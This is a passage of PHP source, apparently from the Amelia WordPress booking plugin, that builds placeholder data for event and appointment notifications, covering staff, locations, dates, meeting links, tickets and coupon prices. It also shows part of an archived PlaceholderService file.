$bookingKey, $token, $type)); if (empty($customer)) { $data = array_merge($data, $this->getGroupedEventData($event, $bookingKey, $type, $allBookings)); } $data = array_merge($data, $this->getBookingData($event, $type, $bookingKey, $token)); $data = array_merge($data, $this->getCompanyData($bookingKey !== null ? $event['bookings'][$bookingKey]['info'] : null)); $data = array_merge($data, $this->getCustomersData($event, $type, $bookingKey, $customer)); $data = array_merge($data, $this->getCustomFieldsData($event, $type, $bookingKey)); $data = array_merge($data, $this->getCouponsData($event, $type, $bookingKey)); return $data; } /** * @param array $event * @param int $bookingKey * @param string $token * @param string $type * * @return array * * @throws \Slim\Exception\ContainerValueNotFoundException * @throws \AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException * @throws \AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException * @throws \Interop\Container\Exception\ContainerException * @throws \Exception */ private function getEventData($event, $bookingKey = null, $token = null, $type = null) { /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var UserRepository $userRepo */ $userRepo = $this->container->get('domain.users.repository'); /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); $dateFormat = $settingsService->getSetting('wordpress', 'dateFormat'); $timeFormat = $settingsService->getSetting('wordpress', 'timeFormat'); $dateTimes = []; $locationName = ''; $locationAddress = ''; $locationDescription = ''; $locationPhone = ''; if ($event['locationId']) { /** @var LocationRepository $locationRepository */ $locationRepository = $this->container->get('domain.locations.repository'); $location = $locationRepository->getById($event['locationId']); $locationName = $helperService->getBookingTranslation( $bookingKey !== null ? $helperService->getLocaleFromBooking($event['bookings'][$bookingKey]['info']) : null, $location->getTranslations() ? $location->getTranslations()->getValue() : null, 'name' ) ?: $location->getName()->getValue(); $locationDescription = $helperService->getBookingTranslation( $bookingKey !== null ? $helperService->getLocaleFromBooking($event['bookings'][$bookingKey]['info']) : null, $location->getTranslations() ? $location->getTranslations()->getValue() : null, 'description' ) ?: ($location->getDescription() ? $location->getDescription()->getValue() : ''); $locationAddress = $location->getAddress() ? $location->getAddress()->getValue() : ''; $locationPhone = $location->getPhone() ? $location->getPhone()->getValue() : ''; } elseif ($event['customLocation']) { $locationName = $event['customLocation']; } $staff = []; /** @var string $liStartTag */ $liStartTag = $type === 'email' ? '<li>' : ''; /** @var string $liEndTag */ $liEndTag = $type === 'email' ? '</li>' : ($type === 'whatsapp' ? '; ' : PHP_EOL); /** @var string $ulStartTag */ $ulStartTag = $type === 'email' ? '<ul>' : ''; /** @var string $ulEndTag */ $ulEndTag = $type === 'email' ? '</ul>' : ''; $providers = (array)$event['providers']; if (isset($event['organizerId']) && !in_array($event['organizerId'], array_column($providers, 'id'))) { $providers[] = $userRepo->getById($event['organizerId'])->toArray(); } $timeZones = []; foreach ($providers as $provider) { $firstName = $helperService->getBookingTranslation( $bookingKey !== null ? $helperService->getLocaleFromBooking($event['bookings'][$bookingKey]['info']) : null, $provider['translations'], 'firstName' ) ?: $provider['firstName']; $lastName = $helperService->getBookingTranslation( $bookingKey !== null ? $helperService->getLocaleFromBooking($event['bookings'][$bookingKey]['info']) : null, $provider['translations'], 'lastName' ) ?: $provider['lastName']; $userDescription = $helperService->getBookingTranslation( $bookingKey !== null ? $event['bookings'][$bookingKey]['info'] : null, $provider['translations'], 'description' ) ?: $provider['description']; $staff[] = [ 'employee_first_name' => $firstName, 'employee_last_name' => $lastName, 'employee_full_name' => $firstName . ' ' . $lastName, 'employee_note' => $provider['note'], 'employee_description' => $userDescription, 'employee_phone' => $provider['phone'], 'employee_email' => $provider['email'], 'employee_name_email_phone' => (sizeof($event['providers']) > 1 ? $liStartTag : '') . $firstName . ' ' . $lastName . ($provider['phone'] ? ', ' . $provider['phone'] : '') . (sizeof($event['providers']) > 1 ? $liEndTag : ''), ]; $timeZones[] = $provider['timeZone']; } $timeZone = $providers && $timeZones && count(array_unique($timeZones)) === 1 ? array_unique($timeZones)[0] : null; $staff = [ 'employee_first_name' => implode(', ', array_column($staff, 'employee_first_name')), 'employee_last_name' => implode(', ', array_column($staff, 'employee_last_name')), 'employee_full_name' => implode(', ', array_column($staff, 'employee_full_name')), 'employee_note' => implode(', ', array_column($staff, 'employee_note')), 'employee_description' => implode(', ', array_column($staff, 'employee_description')), 'employee_phone' => implode(', ', array_column($staff, 'employee_phone')), 'employee_email' => implode(', ', array_column($staff, 'employee_email')), 'employee_name_email_phone' => $ulStartTag . implode('', array_column($staff, 'employee_name_email_phone')) . $ulEndTag, ]; $oldEventStart = ''; $oldEventEnd = ''; foreach ((array)$event['periods'] as $index => $period) { if ($bookingKey !== null && $event['bookings'][$bookingKey]['utcOffset'] !== null && $settingsService->getSetting('general', 'showClientTimeZone') ) { $utcOffset = $event['bookings'][$bookingKey]['utcOffset']; $info = $event['bookings'][$bookingKey]['info'] ? json_decode($event['bookings'][$bookingKey]['info'], true) : null; // fix for daylight saving for multiple periods if ($info && $info['timeZone'] && sizeof($event['periods']) > 1) { $utcOffset = DateTimeService::getCustomDateTimeObject( $period['periodStart'] )->setTimezone(new \DateTimeZone($info['timeZone']))->getOffset() / 60; } $dateTimes[] = [ 'start' => DateTimeService::getClientUtcCustomDateTimeObject( DateTimeService::getCustomDateTimeInUtc($period['periodStart']), $utcOffset ), 'end' => DateTimeService::getClientUtcCustomDateTimeObject( DateTimeService::getCustomDateTimeInUtc($period['periodEnd']), $utcOffset ) ]; if (!empty($event['initialEventStart']) && $index === 0) { $oldEventStart = DateTimeService::getClientUtcCustomDateTimeObject( DateTimeService::getCustomDateTimeInUtc($event['initialEventStart']), $utcOffset ); $oldEventEnd = DateTimeService::getClientUtcCustomDateTimeObject( DateTimeService::getCustomDateTimeInUtc($event['initialEventEnd']), $utcOffset ); } } else if ($bookingKey === null && $timeZone) { $dateTimes[] = [ 'start' => DateTimeService::getDateTimeObjectInTimeZone( DateTimeService::getCustomDateTimeObject( $period['periodStart'] )->setTimezone(new \DateTimeZone($timeZone))->format('Y-m-d H:i:s'), 'UTC' ), 'end' => DateTimeService::getDateTimeObjectInTimeZone( DateTimeService::getCustomDateTimeObject( $period['periodEnd'] )->setTimezone(new \DateTimeZone($timeZone))->format('Y-m-d H:i:s'), 'UTC' ) ]; if (!empty($event['initialEventStart']) && $index === 0) { $oldEventStart = DateTimeService::getDateTimeObjectInTimeZone( DateTimeService::getCustomDateTimeObject( $event['initialEventStart'] )->setTimezone(new \DateTimeZone($timeZone))->format('Y-m-d H:i:s'), 'UTC' ); $oldEventEnd = DateTimeService::getDateTimeObjectInTimeZone( DateTimeService::getCustomDateTimeObject( $event['initialEventEnd'] )->setTimezone(new \DateTimeZone($timeZone))->format('Y-m-d H:i:s'), 'UTC' ); } } else { $dateTimes[] = [ 'start' => DateTime::createFromFormat('Y-m-d H:i:s', $period['periodStart']), 'end' => DateTime::createFromFormat('Y-m-d H:i:s', $period['periodEnd']) ]; if (!empty($event['initialEventStart']) && $index === 0) { $oldEventStart = DateTime::createFromFormat('Y-m-d H:i:s', $event['initialEventStart']); $oldEventEnd = DateTime::createFromFormat('Y-m-d H:i:s', $event['initialEventEnd']); } } } $eventDateList = []; $eventDateTimeList = []; $eventZoomStartDateList = []; $eventZoomStartDateTimeList = []; $eventZoomJoinDateList = []; $eventZoomJoinDateTimeList = []; $eventGoogleMeetDateList = []; $eventGoogleMeetDateTimeList = []; $eventLessonSpaceDateList = []; $eventLessonSpaceDateTimeList = []; foreach ($dateTimes as $key => $dateTime) { /** @var \DateTime $startDateTime */ $startDateTime = $dateTime['start']; /** @var \DateTime $endDateTime */ $endDateTime = $dateTime['end']; $startDateString = $startDateTime->format('Y-m-d'); $endDateString = $endDateTime->format('Y-m-d'); $periodStartDate = date_i18n($dateFormat, $startDateTime->getTimestamp()); $periodEndDate = date_i18n($dateFormat, $endDateTime->getTimestamp()); $periodStartTime = date_i18n($timeFormat, $startDateTime->getTimestamp()); $periodEndTime = date_i18n($timeFormat, $endDateTime->getTimestamp()); $dateString = $startDateString === $endDateString ? $periodStartDate : $periodStartDate . ' - ' . $periodEndDate; $dateTimeString = $startDateString === $endDateString ? $periodStartDate . ' (' . $periodStartTime . ' - ' . $periodEndTime . ')' : $periodStartDate . ' - ' . $periodEndDate . ' (' . $periodStartTime . ' - ' . $periodEndTime . ')'; $eventDateList[] = "$liStartTag{$dateString}$liEndTag"; $eventDateTimeList[] = "$liStartTag{$dateTimeString}$liEndTag"; if ($event['zoomUserId'] && $event['periods'][$key]['zoomMeeting']) { $startUrl = $event['periods'][$key]['zoomMeeting']['startUrl']; $joinUrl = $event['periods'][$key]['zoomMeeting']['joinUrl']; $eventZoomStartDateList[] = $type === 'email' ? '<li><a href="' . $startUrl . '">' . $dateString . ' ' . BackendStrings::getCommonStrings()['zoom_click_to_start'] . '</a></li>' : $dateString . ': ' . $startUrl; $eventZoomStartDateTimeList[] = $type === 'email' ? '<li><a href="' . $startUrl . '">' . $dateTimeString . ' ' . BackendStrings::getCommonStrings()['zoom_click_to_start'] . '</a></li>' : $dateTimeString . ': ' . $startUrl; $eventZoomJoinDateList[] = $type === 'email' ? '<li><a href="' . $joinUrl . '">' . $dateString . ' ' . BackendStrings::getCommonStrings()['zoom_click_to_join'] . '</a></li>' : $dateString . ': ' . $joinUrl; $eventZoomJoinDateTimeList[] = $type === 'email' ? '<li><a href="' . $joinUrl . '">' . $dateTimeString . ' ' . BackendStrings::getCommonStrings()['zoom_click_to_join'] . '</a></li>' : $dateTimeString . ': ' . $joinUrl; } if ($event['periods'][$key]['googleMeetUrl']) { $googleMeetUrl = $event['periods'][$key]['googleMeetUrl']; $eventGoogleMeetDateList[] = $type === 'email' ? '<li><a href="' . $googleMeetUrl . '">' . $dateString . ' ' . BackendStrings::getCommonStrings()['google_meet_join'] . '</a></li>' : $dateString . ': ' . $googleMeetUrl; $eventGoogleMeetDateTimeList[] = $type === 'email' ? '<li><a href="' . $googleMeetUrl . '">' . $dateTimeString . ' ' . BackendStrings::getCommonStrings()['google_meet_join'] . '</a></li>' : $dateTimeString . ': ' . $googleMeetUrl; } if ($event['periods'][$key]['lessonSpace']) { $lessonSpaceUrl = $event['periods'][$key]['lessonSpace']; $eventLessonSpaceDateList[] = $type === 'email' ? '<li><a href="' . $lessonSpaceUrl . '">' . $dateString . ' ' . BackendStrings::getCommonStrings()['lesson_space_join'] . '</a></li>' : $dateString . ': ' . $lessonSpaceUrl; $eventLessonSpaceDateTimeList[] = $type === 'email' ? '<li><a href="' . $lessonSpaceUrl . '">' . $dateTimeString . ' ' . BackendStrings::getCommonStrings()['lesson_space_join'] . '</a></li>' : $dateTimeString . ': ' . $lessonSpaceUrl; } } if (sizeof($dateTimes) > 1) { usort( $dateTimes, function ($a, $b) { return ($a['start']->getTimestamp() < $b['start']->getTimestamp()) ? -1 : 1; } ); } /** @var \DateTime $eventStartDateTime */ $eventStartDateTime = $dateTimes[0]['start']; /** @var \DateTime $eventEndDateTime */ $eventEndDateTime = $dateTimes[sizeof($dateTimes) - 1]['end']; if ($bookingKey !== null) { $attendeeCode = $token ?: ''; } else { $attendeeCode = $bookingRepository->getTokensByEventId($event['id']); } $eventName = $helperService->getBookingTranslation( $bookingKey !== null ? $helperService->getLocaleFromBooking($event['bookings'][$bookingKey]['info']) : null, $event['translations'], 'name' ) ?: $event['name']; $eventDescription = $helperService->getBookingTranslation( $bookingKey !== null ? $helperService->getLocaleFromBooking($event['bookings'][$bookingKey]['info']) : null, $event['translations'], 'description' ) ?: $event['description']; $eventTickets = []; /** @var EventTicketRepository $eventTicketRepository */ $eventTicketRepository = $this->container->get('domain.booking.event.ticket.repository'); $ticketsPrice = null; $eventPrices = []; if ($bookingKey !== null) { /** @var CustomerBookingEventTicketRepository $bookingEventTicketRepository */ $bookingEventTicketRepository = $this->container->get('domain.booking.customerBookingEventTicket.repository'); $ticketsBookings = $bookingEventTicketRepository->getByEntityId( $event['bookings'][$bookingKey]['id'], 'customerBookingId' ); if ($ticketsBookings->length()) { $ticketsPrice = 0; $eventPrices = []; /** @var CustomerBookingEventTicket $bookingToEventTicket */ foreach ($ticketsBookings->getItems() as $key => $bookingToEventTicket) { /** @var EventTicket $ticket */ $ticket = $eventTicketRepository->getById($bookingToEventTicket->getEventTicketId()->getValue()); $ticketName = $ticket->getTranslations() && $helperService->getBookingTranslation( $helperService->getLocaleFromBooking($event['bookings'][$bookingKey]['info']), $ticket->getTranslations()->getValue(), null ) ?: $ticket->getName()->getValue(); if ($bookingToEventTicket->getPersons()->getValue() > 0) { $eventTickets[] = $bookingToEventTicket->getPersons()->getValue() . ' x ' . $ticketName; } $eventPrices[] = $helperService->getFormattedPrice($ticket->getPrice()->getValue()); $ticketsPrice += $bookingToEventTicket->getPersons()->getValue() * $bookingToEventTicket->getPrice()->getValue(); } } elseif (!empty($event['bookings'][$bookingKey]['ticketsData'])) { $ticketsPrice = 0; $eventPrices = []; foreach ($event['bookings'][$bookingKey]['ticketsData'] as $key => $bookingToEventTicket) { if ($bookingToEventTicket['price']) { /** @var EventTicket $ticket */ $ticket = $eventTicketRepository->getById($bookingToEventTicket['eventTicketId']); $ticketName = $ticket->getTranslations() && $helperService->getBookingTranslation( $helperService->getLocaleFromBooking($event['bookings'][$bookingKey]['info']), $ticket->getTranslations()->getValue(), null ) ?: $ticket->getName()->getValue(); if ($bookingToEventTicket['persons']) { $eventTickets[] = $bookingToEventTicket['persons'] . ' x ' . $ticketName; } $eventPrices[] = $helperService->getFormattedPrice($ticket->getPrice()->getValue()); $ticketsPrice += $bookingToEventTicket['persons'] * $bookingToEventTicket['price']; } } } } else { $sendAttendeeCode = []; foreach ($event['bookings'] as $booking) { $bookingIndex = array_search( $booking['id'], array_column($attendeeCode, 'id') ); if ($bookingIndex !== false) { $sendAttendeeCode[] = substr($attendeeCode[$bookingIndex]['token'], 0, 5); } /** @var CustomerBookingEventTicketRepository $bookingEventTicketRepository */ $bookingEventTicketRepository = $this->container->get('domain.booking.customerBookingEventTicket.repository'); $ticketsBookings = $bookingEventTicketRepository->getByEntityId( $booking['id'], 'customerBookingId' ); if ($ticketsBookings->length()) { $ticketsPrice = 0; $eventPrices = []; /** @var CustomerBookingEventTicket $bookingToEventTicket */ foreach ($ticketsBookings->getItems() as $key => $bookingToEventTicket) { /** @var EventTicket $ticket */ $ticket = $eventTicketRepository->getById($bookingToEventTicket->getEventTicketId()->getValue()); $eventTickets[] = $bookingToEventTicket->getPersons()->getValue() . ' x ' . $ticket->getName()->getValue(); $eventPrices[] = $helperService->getFormattedPrice($ticket->getPrice()->getValue()); $ticketsPrice += $bookingToEventTicket->getPersons()->getValue() * $bookingToEventTicket->getPrice()->getValue(); } } elseif (!empty($booking['ticketsData'])) { $ticketsPrice = 0; $eventPrices = []; foreach ($booking['ticketsData'] as $key => $bookingToEventTicket) { if ($bookingToEventTicket['price']) { /** @var EventTicket $ticket */ $ticket = $eventTicketRepository->getById($bookingToEventTicket['eventTicketId']); $ticketName = $ticket->getTranslations() && $helperService->getBookingTranslation( $helperService->getLocaleFromBooking($event['bookings'][$bookingKey]['info']), $ticket->getTranslations()->getValue(), null ) ?: $ticket->getName()->getValue(); $eventTickets[] = $bookingToEventTicket['persons'] . ' x ' . $ticketName; $eventPrices[] = $helperService->getFormattedPrice($ticket->getPrice()->getValue()); $ticketsPrice += $bookingToEventTicket['persons'] * $bookingToEventTicket['price']; } } } } $attendeeCode = $sendAttendeeCode; } return array_merge( [ 'attendee_code' => is_array($attendeeCode) ? implode(', ', $attendeeCode) : substr($attendeeCode, 0, 5), 'reservation_name' => $eventName, 'event_name' => $eventName, 'event_name_url' => sanitize_title($event['name']), 'event_price' => $ticketsPrice !== null ? implode(', ', $eventPrices) : $helperService->getFormattedPrice($event['price']), 'event_description' => $eventDescription, 'event_tickets' => $eventTickets ? implode(', ', $eventTickets) : '', 'reservation_description' => $eventDescription, 'event_location' => $locationName, 'location_name' => $locationName, 'location_address' => $locationAddress, 'location_description' => $locationDescription, 'location_phone' => $locationPhone, 'event_period_date' => $ulStartTag . implode('', $eventDateList) . $ulEndTag, 'event_period_date_time' => $ulStartTag . implode('', $eventDateTimeList) . $ulEndTag, 'lesson_space_url_date' => count($eventLessonSpaceDateList) === 0 ? '' : $ulStartTag . implode('', $eventLessonSpaceDateList) . $ulEndTag, 'lesson_space_url_date_time' => count($eventLessonSpaceDateTimeList) === 0 ? '' : $ulStartTag . implode('', $eventLessonSpaceDateTimeList) . $ulEndTag, 'google_meet_url_date' => count($eventGoogleMeetDateList) === 0 ? '' : $ulStartTag . implode('', $eventGoogleMeetDateList) . $ulEndTag, 'google_meet_url_date_time' => count($eventGoogleMeetDateTimeList) === 0 ? '' : $ulStartTag . implode('', $eventGoogleMeetDateTimeList) . $ulEndTag, 'zoom_host_url_date' => count($eventZoomStartDateList) === 0 ? '' : $ulStartTag . implode('', $eventZoomStartDateList) . $ulEndTag, 'zoom_host_url_date_time' => count($eventZoomStartDateTimeList) === 0 ? '' : $ulStartTag . implode('', $eventZoomStartDateTimeList) . $ulEndTag, 'zoom_join_url_date' => count($eventZoomJoinDateList) === 0 ? '' : $ulStartTag . implode('', $eventZoomJoinDateList) . $ulEndTag, 'zoom_join_url_date_time' => count($eventZoomJoinDateTimeList) === 0 ? '' : $ulStartTag . implode('', $eventZoomJoinDateTimeList) . $ulEndTag, 'event_start_date' => date_i18n($dateFormat, $eventStartDateTime->getTimestamp()), 'event_end_date' => date_i18n($dateFormat, $eventEndDateTime->getTimestamp()), 'event_start_date_time' => date_i18n( $dateFormat . ' ' . $timeFormat, $eventStartDateTime->getTimestamp() ), 'event_end_date_time' => date_i18n( $dateFormat . ' ' . $timeFormat, $eventEndDateTime->getTimestamp() ), 'event_start_time' => date_i18n( $timeFormat, $eventStartDateTime->getTimestamp() ), 'event_end_time' => date_i18n( $timeFormat, $eventEndDateTime->getTimestamp() ), 'initial_event_start_date' => !empty($oldEventStart) ? date_i18n($dateFormat, $oldEventStart->getTimestamp()) : '', 'initial_event_end_date' => !empty($oldEventEnd) ? date_i18n($dateFormat, $oldEventEnd->getTimestamp()) : '', 'initial_event_start_date_time' => !empty($oldEventStart) ? date_i18n( $dateFormat . ' ' . $timeFormat, $oldEventStart->getTimestamp() ) : '', 'initial_event_end_date_time' => !empty($oldEventEnd) ? date_i18n( $dateFormat . ' ' . $timeFormat, $oldEventEnd->getTimestamp() ) : '', 'initial_event_start_time' => !empty($oldEventStart) ? date_i18n( $timeFormat, $oldEventStart->getTimestamp() ) : '', 'initial_event_end_time' => !empty($oldEventEnd) ? date_i18n( $timeFormat, $oldEventEnd->getTimestamp() ) : '' ], $staff ); } /** * @param array $event * @param int $bookingKey * @param string $type * @param array $allBookings * * @return array * * @throws ContainerValueNotFoundException * @throws NotFoundException * @throws QueryExecutionException * @throws ContainerException|InvalidArgumentException */ public function getGroupedEventData($event, $bookingKey, $type, $allBookings) { /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var PlaceholderService $placeholderService */ $placeholderService = $this->container->get("application.placeholder.appointment.service"); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $appointmentsSettings = $settingsService->getCategorySettings('appointments'); $groupEventDetails = []; if ($bookingKey) { return [ "group_event_details" => '' ]; } if ($allBookings) { $event['bookings'] = $allBookings; } $attendeeCodes = $bookingRepository->getTokensByEventId($event['id']); foreach ($event['bookings'] as $bookingId => $booking) { $bookingIndex = array_search( $booking['id'], array_column($attendeeCodes, 'id') ); if ($bookingIndex !== false) { $token = $attendeeCodes[$bookingIndex]['token']; } $groupPlaceholders = array_merge( $this->getEventData($event, $bookingId, isset($token) ? $token : null), $this->getCustomFieldsData($event, $type, $bookingId), $this->getCustomersData($event, $type, $bookingId), $this->getBookingData( $event, $type, $bookingId, isset($token) ? $token : null ) ); $content = $appointmentsSettings['groupEventPlaceholder'. ($type === null || $type === 'email' ? '' : 'Sms')]; if ($type === 'email') { $content = str_replace(array("\n","\r"), '', $content); } else if ($type === 'whatsapp') { $content = str_replace(array("\n","\r"), '; ', $content); $content = preg_replace('!\s+!', ' ', $content); } $groupEventDetails[] = $placeholderService->applyPlaceholders( $content, $groupPlaceholders ); } return [ "group_event_details" => $groupEventDetails ? implode( $type === 'email' ? '<p><br></p>' : ($type === 'whatsapp' ? '; ' : PHP_EOL), $groupEventDetails ) : '' ]; } } Services/Placeholder/PlaceholderService.php 0000666 00000142671 15165412624 0015052 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Services\Placeholder; use AmeliaBooking\Application\Services\Coupon\CouponApplicationService; use AmeliaBooking\Application\Services\Helper\HelperService; use AmeliaBooking\Application\Services\Payment\PaymentApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\CouponInvalidException; use AmeliaBooking\Domain\Common\Exceptions\CouponExpiredException; use AmeliaBooking\Domain\Common\Exceptions\CouponUnknownException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Booking\Event\CustomerBookingEventTicket; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Booking\Event\EventTicket; use AmeliaBooking\Domain\Entity\Coupon\Coupon; use AmeliaBooking\Domain\Entity\CustomField\CustomField; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Entity\User\Customer; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\Number\Integer\LoginType; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Domain\ValueObjects\String\PaymentType; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageCustomerRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\CustomerBookingEventTicketRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; use AmeliaBooking\Infrastructure\Repository\Coupon\CouponRepository; use AmeliaBooking\Infrastructure\Repository\CustomField\CustomFieldRepository; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; use AmeliaBooking\Infrastructure\Repository\User\UserRepository; use AmeliaBooking\Infrastructure\Services\Payment\PayPalService; use AmeliaBooking\Infrastructure\WP\Translations\BackendStrings; use AmeliaBooking\Infrastructure\WP\Translations\FrontendStrings; use AmeliaBooking\Domain\ValueObjects\String\CustomFieldType; use Interop\Container\Exception\ContainerException; use DateTime; /** * Class PlaceholderService * * @package AmeliaBooking\Application\Services\Notification */ abstract class PlaceholderService implements PlaceholderServiceInterface { /** @var Container */ protected $container; /** * ProviderApplicationService constructor. * * @param Container $container * * @throws \InvalidArgumentException */ public function __construct(Container $container) { $this->container = $container; } /** * @param string $text * @param array $data * * @return mixed */ public function applyPlaceholders($text, $data) { unset($data['icsFiles']); $placeholders = array_map( function ($placeholder) { return "%{$placeholder}%"; }, array_keys($data) ); if ($text && strpos($text, '%amelia_dynamic_placeholder_') !== false) { $lastPos = 0; $dynamicPlaceholderStart = '%amelia_dynamic_placeholder_'; while (($lastPos = strpos($text, $dynamicPlaceholderStart, $lastPos)) !== false) { $subText = substr($text, $lastPos + 1); $dynamicPlaceholder = substr($subText, 0, strpos($subText, '%')); $placeholders[] = '%' . $dynamicPlaceholder . '%'; $data[$dynamicPlaceholder] = apply_filters( $dynamicPlaceholder, $data ); $lastPos = $lastPos + strlen($dynamicPlaceholderStart); } } return str_replace($placeholders, array_values($data), $text); } /** * @return array * * @throws ContainerException */ public function getPlaceholdersDummyData($type) { /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var string $paragraphStart */ $paragraphStart = $type === 'email' ? '<p>' : ''; /** @var string $paragraphEnd */ $paragraphEnd = $type === 'email' ? '</p>' : ($type === 'whatsapp' ? '; ' : PHP_EOL); $companySettings = $settingsService->getCategorySettings('company'); $timezone = get_option('timezone_string'); return array_merge( [ 'booked_customer' => $paragraphStart . BackendStrings::getNotificationsStrings()['ph_customer_full_name'] .': John Micheal Doe ' . $paragraphEnd . $paragraphStart . BackendStrings::getNotificationsStrings()['ph_customer_phone'] . ': 193-951-2600 ' . $paragraphEnd . $paragraphStart . BackendStrings::getNotificationsStrings()['ph_customer_email'] . ': customer@domain.com ' . $paragraphEnd, 'company_address' => $companySettings['address'], 'company_name' => $companySettings['name'], 'company_phone' => $companySettings['phone'], 'company_website' => $companySettings['website'], 'company_email' => !empty($companySettings['email']) ? $companySettings['email'] : '', 'customer_email' => 'customer@domain.com', 'customer_first_name' => 'John', 'customer_last_name' => 'Doe', 'customer_full_name' => 'John Doe', 'customer_phone' => '193-951-2600', 'customer_note' => 'Customer Note', 'customer_panel_url' => $this->container->get('domain.settings.service')->getSetting('roles', 'customerCabinet')['pageUrl'], 'coupon_used' => 'code123', 'number_of_persons' => 2, 'time_zone' => $timezone, 'employee_email' => 'employee@domain.com', 'employee_first_name' => 'Richard', 'employee_last_name' => 'Roe', 'employee_full_name' => 'Richard Roe', 'employee_phone' => '150-698-1858', 'employee_note' => 'Employee Note', 'employee_description' => 'Employee Description', 'employee_panel_url' => 'https://your_site.com/employee-panel', 'location_address' => $companySettings['address'], 'location_phone' => $companySettings['phone'], 'location_name' => 'Location Name', 'location_description' => 'Location Description', ], $this->getEntityPlaceholdersDummyData($type) ); } /** * @return array */ public function getCompanyData($bookingInfo = null) { /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); $companySettings = $settingsService->getCategorySettings('company'); $companyName = $helperService->getBookingTranslation( $helperService->getLocaleFromBooking($bookingInfo), json_encode($companySettings['translations']), 'name' ) ?: $companySettings['name']; return [ 'company_address' => $companySettings['address'], 'company_name' => $companyName, 'company_phone' => $companySettings['phone'], 'company_website' => $companySettings['website'], 'company_email' => !empty($companySettings['email']) ? $companySettings['email']:null ]; } /** * @param array $appointment * @param string $type * @param null $bookingKey * @param null $token * * @return array * * @throws ContainerException */ protected function getBookingData($appointment, $type, $bookingKey = null, $token = null, $depositEnabled = null) { /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); /** @var string $break */ $break = $type === 'email' ? '<p><br></p>' : ($type === 'whatsapp' ? '; ' : PHP_EOL); $numberOfPersons = null; $icsFiles = []; $couponsUsed = []; $appointmentPrice = $appointment['type'] === Entities::EVENT ? $appointment['price'] : 0; $payment = null; $paymentLinks = [ 'payment_link_woocommerce' => '', 'payment_link_stripe' => '', 'payment_link_paypal' => '', 'payment_link_razorpay' => '', 'payment_link_mollie' => '', ]; $ticketsPrice = null; // If notification is for provider: Appointment price will be sum of all bookings prices // If notification is for customer: Appointment price will be price of his booking if ($bookingKey === null) { $numberOfPersonsData = [ AbstractUser::USER_ROLE_PROVIDER => [ BookingStatus::APPROVED => 0, BookingStatus::PENDING => 0, BookingStatus::CANCELED => 0, BookingStatus::REJECTED => 0, BookingStatus::NO_SHOW => 0, ] ]; foreach ((array)$appointment['bookings'] as $customerBooking) { $isAggregatedPrice = isset($customerBooking['aggregatedPrice']) && $customerBooking['aggregatedPrice']; $appointmentPrice = $customerBooking['price'] * ($isAggregatedPrice ? $customerBooking['persons'] : 1); /** @var CustomerBookingEventTicketRepository $bookingEventTicketRepository */ $bookingEventTicketRepository = $this->container->get('domain.booking.customerBookingEventTicket.repository'); $ticketsBookings = $bookingEventTicketRepository->getByEntityId( $customerBooking['id'], 'customerBookingId' ); if ($ticketsBookings->length()) { $ticketsPrice = 0; /** @var CustomerBookingEventTicket $bookingToEventTicket */ foreach ($ticketsBookings->getItems() as $key => $bookingToEventTicket) { $ticketsPrice += ($isAggregatedPrice ? $bookingToEventTicket->getPersons()->getValue() : 1) * $bookingToEventTicket->getPrice()->getValue(); } $appointmentPrice = $ticketsPrice; } elseif (!empty($customerBooking['ticketsData'])) { $ticketsPrice = 0; foreach ($customerBooking['ticketsData'] as $key => $bookingToEventTicket) { if ($bookingToEventTicket['price']) { $ticketsPrice += ($isAggregatedPrice ? $bookingToEventTicket['persons'] : 1) * $bookingToEventTicket['price']; } } $appointmentPrice = $ticketsPrice; } foreach ((array)$customerBooking['extras'] as $extra) { $isExtraAggregatedPrice = isset($extra['aggregatedPrice']) && $extra['aggregatedPrice'] !== null ? $extra['aggregatedPrice'] : $isAggregatedPrice; $appointmentPrice += $extra['price'] * $extra['quantity'] * ($isExtraAggregatedPrice ? $customerBooking['persons'] : 1); } $discountValue = 0; if (!empty($customerBooking['couponId']) && empty($customerBooking['coupon'])) { /** @var CouponRepository $couponRepository */ $couponRepository = $this->container->get('domain.coupon.repository'); $customerBooking['coupon'] = $couponRepository->getById($customerBooking['couponId']); $customerBooking['coupon'] = $customerBooking['coupon'] ? $customerBooking['coupon']->toArray() : null; } if (!empty($customerBooking['coupon']['discount'])) { $discountValue = $appointmentPrice - (1 - $customerBooking['coupon']['discount'] / 100) * $appointmentPrice; $appointmentPrice = (1 - $customerBooking['coupon']['discount'] / 100) * $appointmentPrice; } $deductionValue = 0; if (!empty($customerBooking['coupon']['deduction'])) { $deductionValue = $customerBooking['coupon']['deduction']; $appointmentPrice -= $customerBooking['coupon']['deduction']; } 